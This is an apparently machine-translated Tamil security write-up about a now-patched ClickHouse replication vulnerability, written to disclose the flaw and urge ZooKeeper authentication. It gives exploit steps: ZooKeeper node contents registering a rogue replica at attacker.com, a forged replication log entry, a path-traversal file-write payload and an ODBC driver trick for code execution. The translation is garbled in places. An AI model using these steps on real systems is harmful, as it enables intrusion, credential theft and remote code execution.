இந்தக் கட்டுரை கிளிக்ஹவுஸ் பிரதி நெறிமுறையில் உள்ள ஒரு குறிப்பிட்ட பாதிப்பின் கதையைச் சொல்லும், மேலும் தாக்குதல் மேற்பரப்பை எவ்வாறு விரிவுபடுத்தலாம் என்பதையும் காண்பிக்கும்.
ClickHouse என்பது பெரிய அளவிலான தரவைச் சேமிப்பதற்கான ஒரு தரவுத்தளமாகும், பெரும்பாலும் ஒன்றுக்கும் மேற்பட்ட பிரதிகளைப் பயன்படுத்துகிறது. கிளிக்ஹவுஸில் கிளஸ்டரிங் மற்றும் ரெப்ளிகேஷன் மேலே கட்டப்பட்டுள்ளன
இயல்புநிலை ZK நிறுவலுக்கு அங்கீகாரம் தேவையில்லை, எனவே காஃப்கா, ஹடூப், கிளிக்ஹவுஸ் ஆகியவற்றை உள்ளமைக்க ஆயிரக்கணக்கான ZK சேவையகங்கள் பொதுவில் கிடைக்கின்றன.
உங்கள் தாக்குதல் மேற்பரப்பைக் குறைக்க, ZooKeeper ஐ நிறுவும் போது நீங்கள் எப்போதும் அங்கீகாரம் மற்றும் அங்கீகாரத்தை உள்ளமைக்க வேண்டும்
நிச்சயமாக சில 0நாள் அடிப்படையிலான ஜாவா டீரியலைசேஷன்கள் உள்ளன, ஆனால் தாக்குபவர் கிளிக்ஹவுஸ் நகலெடுப்பதற்குப் பயன்படுத்தப்படும் ZooKeeper க்கு எழுதலாம் மற்றும் படிக்கலாம் என்று கற்பனை செய்து பாருங்கள்.
கிளஸ்டர் பயன்முறையில் கட்டமைக்கப்படும் போது, ClickHouse விநியோகிக்கப்பட்ட வினவல்களை ஆதரிக்கிறது /clickhouse/task_queue/ddl
.
உதாரணமாக, நீங்கள் ஒரு முனையை உருவாக்குகிறீர்கள் /clickhouse/task_queue/ddl/query-0001
உள்ளடக்கத்துடன்:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
அதன் பிறகு, ஹோஸ்ட்1 மற்றும் ஹோஸ்ட்2 ஆகிய கிளஸ்டர் சர்வர்களில் சோதனை அட்டவணை நீக்கப்படும். CREATE/ALTER/DROP வினவல்களை இயக்குவதையும் DDL ஆதரிக்கிறது.
பயமாக இருக்கிறதா? ஆனால் தாக்குபவர் சர்வர் முகவரிகளை எங்கே பெற முடியும்?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
முனைகள் உருவாக்கப்படும் பத்திகள் и மெட்டா.
உள்ளடக்கம் /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
இந்தக் கிளஸ்டரிலிருந்து தரவை ஒன்றிணைக்க முடியுமா? ஆம், பிரதி போர்ட் என்றால் (TCP/9009
) சர்வரில் chXX-address
ஃபயர்வால் மூடப்படாது மற்றும் நகலெடுப்பதற்கான அங்கீகாரம் கட்டமைக்கப்படாது. அங்கீகாரத்தை எவ்வாறு புறக்கணிப்பது?
ஒரு தாக்குபவர் ZK இல் உள்ள உள்ளடக்கங்களை வெறுமனே நகலெடுப்பதன் மூலம் ஒரு புதிய பிரதியை உருவாக்க முடியும் /clickhouse/tables/01-01/foobar/replicas/chXX
மற்றும் அர்த்தத்தை மாற்றுகிறது host
.
உள்ளடக்கம் /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
தாக்குபவரின் சேவையகத்தில் புதிய தரவுத் தொகுதி உள்ளது என்பதை நீங்கள் மற்ற பிரதிகளுக்குச் சொல்ல வேண்டும், அதை அவர்கள் எடுக்க வேண்டும் - ZK இல் ஒரு முனை உருவாக்கப்படுகிறது. /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX ஏகபோகமாக வளரும் கவுண்டர், நிகழ்வு பதிவில் கடைசியாக இருந்ததை விட அதிகமாக இருக்க வேண்டும்):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
எங்கே மூல_பிரதி - முந்தைய படியில் உருவாக்கப்பட்ட தாக்குதலாளியின் பிரதியின் பெயர், block_id - தரவு தொகுதி அடையாளங்காட்டி, கிடைக்கும் - "கெட் பிளாக்" கட்டளை (மற்றும்
அடுத்து, ஒவ்வொரு பிரதியும் பதிவில் ஒரு புதிய நிகழ்வைப் படித்து, ஒரு தரவுத் தொகுதியைப் பெற தாக்குபவர் கட்டுப்படுத்தும் சேவையகத்திற்குச் செல்கிறது (பிரதி நெறிமுறை பைனரி, HTTP க்கு மேல் இயங்குகிறது). சேவையகம் attacker.com
கோரிக்கைகளைப் பெறுவார்கள்:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
XXX என்பது நகலெடுப்பதற்கான அங்கீகாரத் தரவு. சில சமயங்களில், இது முதன்மை ClickHouse நெறிமுறை மற்றும் HTTP நெறிமுறை வழியாக தரவுத்தளத்தை அணுகக்கூடிய கணக்காக இருக்கலாம். நீங்கள் பார்த்தது போல், தாக்குதல் மேற்பரப்பு மிகவும் பெரியதாகிறது, ஏனெனில் நகலெடுப்பதற்குப் பயன்படுத்தப்படும் ZooKeeper, அங்கீகாரம் உள்ளமைக்கப்படாமல் விடப்பட்டது.
ஒரு பிரதியிலிருந்து தரவுத் தொகுதியைப் பெறுவதற்கான செயல்பாட்டைப் பார்ப்போம், எல்லா பிரதிகளும் சரியான கட்டுப்பாட்டில் உள்ளன மற்றும் அவற்றுக்கிடையே நம்பிக்கை உள்ளது என்று முழு நம்பிக்கையுடன் எழுதப்பட்டுள்ளது.
பிரதி செயலாக்க குறியீடு
செயல்பாடு கோப்புகளின் பட்டியலைப் படிக்கிறது, பின்னர் அவற்றின் பெயர்கள், அளவுகள், உள்ளடக்கங்கள், பின்னர் அவற்றை கோப்பு முறைமையில் எழுதுகிறது. கோப்பு முறைமையில் தரவு எவ்வாறு சேமிக்கப்படுகிறது என்பதை தனித்தனியாக விவரிப்பது மதிப்பு.
பல துணை அடைவுகள் உள்ளன /var/lib/clickhouse
(உள்ளமைவு கோப்பிலிருந்து இயல்புநிலை சேமிப்பக அடைவு):
கொடிகள் - பதிவு செய்வதற்கான அடைவு
tmp, — தற்காலிக கோப்புகளை சேமிப்பதற்கான அடைவு;
பயனர்_கோப்புகள் — கோரிக்கைகளில் உள்ள கோப்புகளைக் கொண்ட செயல்பாடுகள் இந்தக் கோப்பகத்திற்கு வரம்புக்குட்பட்டவை (INTO OUTFILE மற்றும் பிற);
மெட்டா - அட்டவணை விளக்கங்களுடன் sql கோப்புகள்;
preprocessed_configs - இதிலிருந்து செயலாக்கப்பட்ட வழித்தோன்றல் உள்ளமைவு கோப்புகள் /etc/clickhouse-server
;
தகவல்கள் - தரவுடனான உண்மையான அடைவு, இந்த விஷயத்தில் ஒவ்வொரு தரவுத்தளத்திற்கும் தனித்தனி துணை அடைவு இங்கே உருவாக்கப்படுகிறது (எடுத்துக்காட்டாக. /var/lib/clickhouse/data/default
).
ஒவ்வொரு அட்டவணைக்கும், தரவுத்தள கோப்பகத்தில் ஒரு துணை அடைவு உருவாக்கப்படுகிறது. ஒவ்வொரு நெடுவரிசையும் ஒரு தனி கோப்பாகும்
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
தரவுத் தொகுதியைச் செயலாக்கும்போது அதே பெயர்களைக் கொண்ட கோப்புகளைப் பெற பிரதி எதிர்பார்க்கிறது மற்றும் அவற்றை எந்த வகையிலும் சரிபார்க்காது.
ஒரு செயல்பாட்டில் கோப்பு_பெயரின் பாதுகாப்பற்ற இணைப்பைப் பற்றி கவனமுள்ள வாசகர் ஏற்கனவே கேள்விப்பட்டிருக்கலாம். WriteBufferFromFile
. ஆம், இது பயனர் உரிமைகளுடன் FS இல் உள்ள எந்தவொரு கோப்பிற்கும் தன்னிச்சையான உள்ளடக்கத்தை எழுத தாக்குபவர் அனுமதிக்கிறது clickhouse
. இதைச் செய்ய, தாக்குபவரால் கட்டுப்படுத்தப்படும் பிரதியானது கோரிக்கைக்கு பின்வரும் பதிலை வழங்க வேண்டும் (புரிந்து கொள்வதற்கு எளிதாக வரி முறிவுகள் சேர்க்கப்பட்டுள்ளன):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
மற்றும் இணைந்த பிறகு ../../../../../../../../../tmp/pwned
கோப்பு எழுதப்படும் /tmp/pwned உள்ளடக்கத்துடன் hellofromzookeeper.
கோப்பு எழுதும் திறனை ரிமோட் கோட் எக்ஸிகியூஷனாக (RCE) மாற்ற பல விருப்பங்கள் உள்ளன.
RCE இல் வெளிப்புற அகராதிகள்
பழைய பதிப்புகளில், ClickHouse அமைப்புகளுடன் கூடிய அடைவு பயனர் உரிமைகளுடன் சேமிக்கப்பட்டது கிளிக்ஹவுஸ் இயல்புநிலை. அமைப்புகள் கோப்புகள் XML கோப்புகளாகும், அவை தொடக்கத்தில் சேவையைப் படித்து பின்னர் தற்காலிகமாக சேமிக்கப்படும் /var/lib/clickhouse/preprocessed_configs
. மாற்றங்கள் ஏற்பட்டால், அவை மீண்டும் படிக்கப்படுகின்றன. உங்களுக்கு அணுகல் இருந்தால் /etc/clickhouse-server
ஒரு தாக்குபவர் தனது சொந்த உருவாக்க முடியும் root
.
ODBC முதல் RCE வரை
ஒரு தொகுப்பை நிறுவும் போது, ஒரு பயனர் உருவாக்கப்படுகிறார் clickhouse
, ஆனால் அதன் முகப்பு அடைவு உருவாக்கப்படவில்லை /nonexistent
. இருப்பினும், வெளிப்புற அகராதிகளைப் பயன்படுத்தும் போது அல்லது வேறு காரணங்களுக்காக, நிர்வாகிகள் ஒரு கோப்பகத்தை உருவாக்குகிறார்கள் /nonexistent
மற்றும் பயனர் கொடுக்க clickhouse
அதை எழுத அணுகல் (SSZB! தோராயமாக மொழிபெயர்ப்பாளர்).
கிளிக்ஹவுஸ் ஆதரிக்கிறது odbc-bridge
, எனவே கோரிக்கையிலிருந்து இயக்கி பாதையை இனி குறிப்பிட முடியாது. ஆனால் மேலே விவரிக்கப்பட்ட பாதிப்பைப் பயன்படுத்தி தாக்குபவர் முகப்புக் கோப்பகத்தில் எழுத முடியுமா?
ஒரு கோப்பை உருவாக்குவோம் ~/.odbc.ini
இந்த உள்ளடக்கத்துடன்:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
பின்னர் தொடக்கத்தில் SELECT * FROM odbc('DSN=lalala', 'test', 'test');
நூலகம் ஏற்றப்படும் test.so
மற்றும் RCE பெற்றார் (நன்றி
இவை மற்றும் பிற பாதிப்புகள் ClickHouse பதிப்பு 19.14.3 இல் சரி செய்யப்பட்டுள்ளன. உங்கள் ClickHouse மற்றும் ZooKeepers ஐ கவனித்துக் கொள்ளுங்கள்!
ஆதாரம்: www.habr.com